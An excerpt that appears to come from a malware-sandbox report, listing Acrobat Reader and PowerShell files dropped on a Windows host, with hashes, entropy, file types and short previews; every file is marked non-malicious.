MD5:	4799C06DBBA0AC8B99D13C0E7E1793ED
SHA1:	05CF4E276A493D288178C665E539D078A3F6D308
SHA-256:	E4553764F5EF53916C276E1612675E4FEBC131B30F3CA98F8E9A6A66B744E7C5
SHA-512:	7C3EFE86DE2C6F06D5FC7C0F831B50502A1B53720AE8B92C4EF66041953B450EF57B31C90B7076A8349DAB218AD372A08C7B9A74B3576FF449D3D6093396C686
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656708166158999
Encrypted:	false
SSDEEP:	24:Yv6XtXDi3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS5:YvbPBgkDMUJUAh8cvM5
MD5:	319CF2241B4CE4F5EA2DCEC3AAD482D0
SHA1:	5F74BB3BCD33EC82422F5E889A06405F7492DF46
SHA-256:	046328FA8ECEA6AC9ECA935E2AE544C21D33B7C57F55D55694503A27C09EDAC7
SHA-512:	91B27954EC3897E78CFB406DE36DDF4797B879DC27DCE02A143B723FD540D52D92EAD8CBFF3B1C6084F556EFDE6E00B811D714D42C117CFAA4205EECEBE93A7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.215523255997794
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJfshHHrPeUkwRe9:YvXKXZzXGYpW7SGUUUkee9
MD5:	6BF222952EF85A996609586CAD91EC7C
SHA1:	A4791F2DF0E9189CA787DEADB42380E71B385374
SHA-256:	05AF77439369FEF0B35ADD07FD7D828B9F4A278F6AE82587175E7BD6CEB89C44
SHA-512:	B39062ADBF2DE01146B07C07C54DB78D2FCBEC7D00458C8904760717DC24155F2F3A0A125D987540E1AB08893B17058BAC5BFC8E24E9715A37FDF6DA4283CD74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.225497901821969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvDV/YiX2JU+FIbRI6XVW7+0YqSUoAvJTqgFCrPeUkwRe9:YvXKXZzXGYpW7SGTq16Ukee9
MD5:	BDE0B320F2432327B3550C297E5FAF1F
SHA1:	64BF43D4EF4DA68E06331D4E56B8ECFE7EAF1F0C
SHA-256:	E6444C1B037F79B6C7A92AFECF13720C35BD8E614E9754A3EC207A5FC48AAA8F
SHA-512:	A4C1ABCCB0A8895F6363B566F0919746170C7C218BD6DABD7B8A0ED9B2E317A566AABC453A31F526CA9D5DB764959266914A875F5471480516BB68E38328F6F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3edf0002-5aab-485d-b02b-96c9403c1e4a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737115871213,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.130239583350306
Encrypted:	false
SSDEEP:	24:Yktt8aKayUFYUYy/osW7IWx8IjPfj0SsbX+Iz4w2Gx2LSeCJcrwHVZFQ35zu9h27:Ykn/o3MmjezNHx8McrwHVZ249U1/t
MD5:	1E4F767F8D011A4DECA7BE94DBE2C443
SHA1:	6053B37581A7B4B3D52D3537A2F0E055035E4108
SHA-256:	E6A34908E147BE4595353F896FAFE4CF55012953F0E58E6F24BDAEB60BEA66F1
SHA-512:	5ADAA624247BFE4D3CD68ABDD6B3973A8FD87F897A33C86E25B1A1F0FE6ECDDCF67E86D8DBC49ADD67CEB90C203CA51E2C782EFCB5D02DAF25F4C5777F14CEDA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"eaed5af443abea8de8ad39123a8fd279","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736942890000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2474fe8eb0a7945cd594a5301c7dbf6a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736942890000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"88125da44aa999ffa49578dca10a49e2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736942890000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"dbe6eca461cb90dfa6e8ffa89b7d6aaa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736942890000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b33b8ea9a8b03fef48b9bb9c313a4fa4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736942890000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ce691451a223b6777ad314e8cd8bdd0f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9854768692160578
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spyn4zJwtNBwtNbRZ6bRZ4VnF:TVl2GL7ms6ggOVpy4zutYtp6PAF
MD5:	403A6ACC4534F9B2740763E06E3DDDC9
SHA1:	494391CA33C7349B0606C47C348F4414D2F5BE44
SHA-256:	E40237131DA0274818F0BB16CE05781D7AA1D18A03C9ED004A4945DE1DDC9FBF
SHA-512:	2738217C18CF4B2A3773E2E0D8B4EE88C0F8E95ED4A84B5D312CB8176FAA68CA326A27FAADAF34E3FFE52E672924A0C09E6874A66B81DF3D87BC801AD3C204CA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3392611258018263
Encrypted:	false
SSDEEP:	24:7+tiAD1RZKHs/Ds/SpynPzJwtNBwtNbRZ6bRZWf1RZKQRqLBx/XYKQvGJF7ursB:7MiGgOVpyPzutYtp6PMFqll2GL7msB
MD5:	0A13351E2304DC6DB8839A4AC50D4DEC
SHA1:	64C87A304D227C1619532D2D1822DCC0463FA0C9
SHA-256:	CF2D70018E7B8079FC21C74890766301F0A903CCA5823D3B9D97C4C5E2E2B8EE
SHA-512:	7CFC26DCFD2E9E657A10173BEAFBD86D094F5DE86B03AF1DCD293DC8284CD0EFB0D72F61D4F1E74EA22C631968CE229F8E1DAF9B8755C9CD50FFB7BCCFE1D1AE
Malicious:	false
Preview:	.... .c.......y......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgJgsrR4KWlUoV2xK/5urp8Es53wYyu:6a6TZ44ADE1kUoUxK0rp8EWAK
MD5:	A3FC12452AE55ED87F2BA8C1568ACC9A
SHA1:	EEE1DA9DB078BFAC8BD304FACC9CC42444C70DF1
SHA-256:	9B6BDB9A8865535BC890789A7D61C15FFEA41040DB22172786F5115B11983F3E
SHA-512:	F2622B7D96A73A5DACC1E44BB59CAB3307B7E05C4883A2A4B66E85E2BF9B10B137687330FD4344B779ECD6211301E6E6C44A09A0B2596EA097728F9AE3187443
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIbee6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8+pCl6mlrCH:Qw946cPbiOxDlbYnuRKZlow
MD5:	D33A4D407F0603DC7487E71788645D4E
SHA1:	D91875083522270C572D72E2510F43D9253578D7
SHA-256:	FFDD2ACE09712F9AEB9D807A17370F0247651D1C634E82885889ABBB18EFDBBC
SHA-512:	29764959EC8230B9096713C95A69DDB98A9A82C059E4DAC47CF930AD3BF98AD28987E68B85C81F869FECF1CE7E36827CC235D907C77BA66CDEF24F92C21896EE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.0.1./.2.0.2.5. . .0.7.:.0.8.:.1.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p34b1jgd.dah.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xran2qie.ryj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-15 07-08-06-831.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3576395215430965
Encrypted:	false
SSDEEP:	384:timfuCzePf4oRW8vw+IVV9S2lVxv8yuQoTHrth9UoJqjxFsAyrIgCnCb2d3MoBZV:6ox
MD5:	690984B1D5DECAE281855523F603D528
SHA1:	47FE5FBB208C3DB13397D3F0C5DEBA4907CEBCBE
SHA-256:	A3143C17DFD439C4F363C9869D16BD9D10E3651237B8E5125386365797F9C64B
SHA-512:	34427873508057840378F0083442FF55875618DF7FBF23B42589B1A09CADE1907778775D24208B2AAEBB5E7979693FD7D87C77360609B28DF983F738AA9002E4
Malicious:	false
Preview:	SessionID=d7de2b61-a349-4e2c-a40a-a70fe4bccd25.1736942886853 Timestamp=2025-01-15T07:08:06:853-0500 ThreadID=7916 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d7de2b61-a349-4e2c-a40a-a70fe4bccd25.1736942886853 Timestamp=2025-01-15T07:08:06:854-0500 ThreadID=7916 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d7de2b61-a349-4e2c-a40a-a70fe4bccd25.1736942886853 Timestamp=2025-01-15T07:08:06:854-0500 ThreadID=7916 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d7de2b61-a349-4e2c-a40a-a70fe4bccd25.1736942886853 Timestamp=2025-01-15T07:08:06:854-0500 ThreadID=7916 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d7de2b61-a349-4e2c-a40a-a70fe4bccd25.1736942886853 Timestamp=2025-01-15T07:08:06:854-0500 ThreadID=7916 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400710448749857
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGba:G
MD5:	ECE2D2F4CDF22C1BAC9F2FB5409588E2
SHA1:	761A7BE478CB475A8E5C4B5AF05EF0706D60AC7C
SHA-256:	0BF40D63EFF442885409E0ABDF3006FA4529B2BFBA1ECB03198E398F5B7EE429
SHA-512:	EA1961CA8080815F66929F6071823E7A88A0879C5B31762FFE40F541116E0D62DD6250F7BD456BACF02596302B7A965B28A4F8E99D9407D63A98BF49DA26DA06
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\035dfdff-031e-40ee-910d-8309cbab02a7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a276ff55-4b16-4b36-9e14-59d457a37116.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a392e07e-e6b7-4ce1-818b-81ac39d26dc7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLaGZjZwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLaGZjZwZGk3mlind9i4ufFXpAXkru
MD5:	AE1E8A5D3E7B2198980A0CA16DE5F3D3
SHA1:	A1DB2C58AFC81E6A114A8EB47BE0243956F79460
SHA-256:	8C2E1B13F6658714D51737D6745FE065B87497923945AB3028706A4171C8328F
SHA-512:	5B36CF0982C5AFED5CCEA4B30A0B31A2B5312FBF5438623D53153E076B59F1B4BEF8C08695EA74E086BCA4EF7221889DB977B5DCFF4C684BA0683FDDECDE2EC4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c0b0f32b-043f-430b-af5e-ef4e8b5d6ee9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
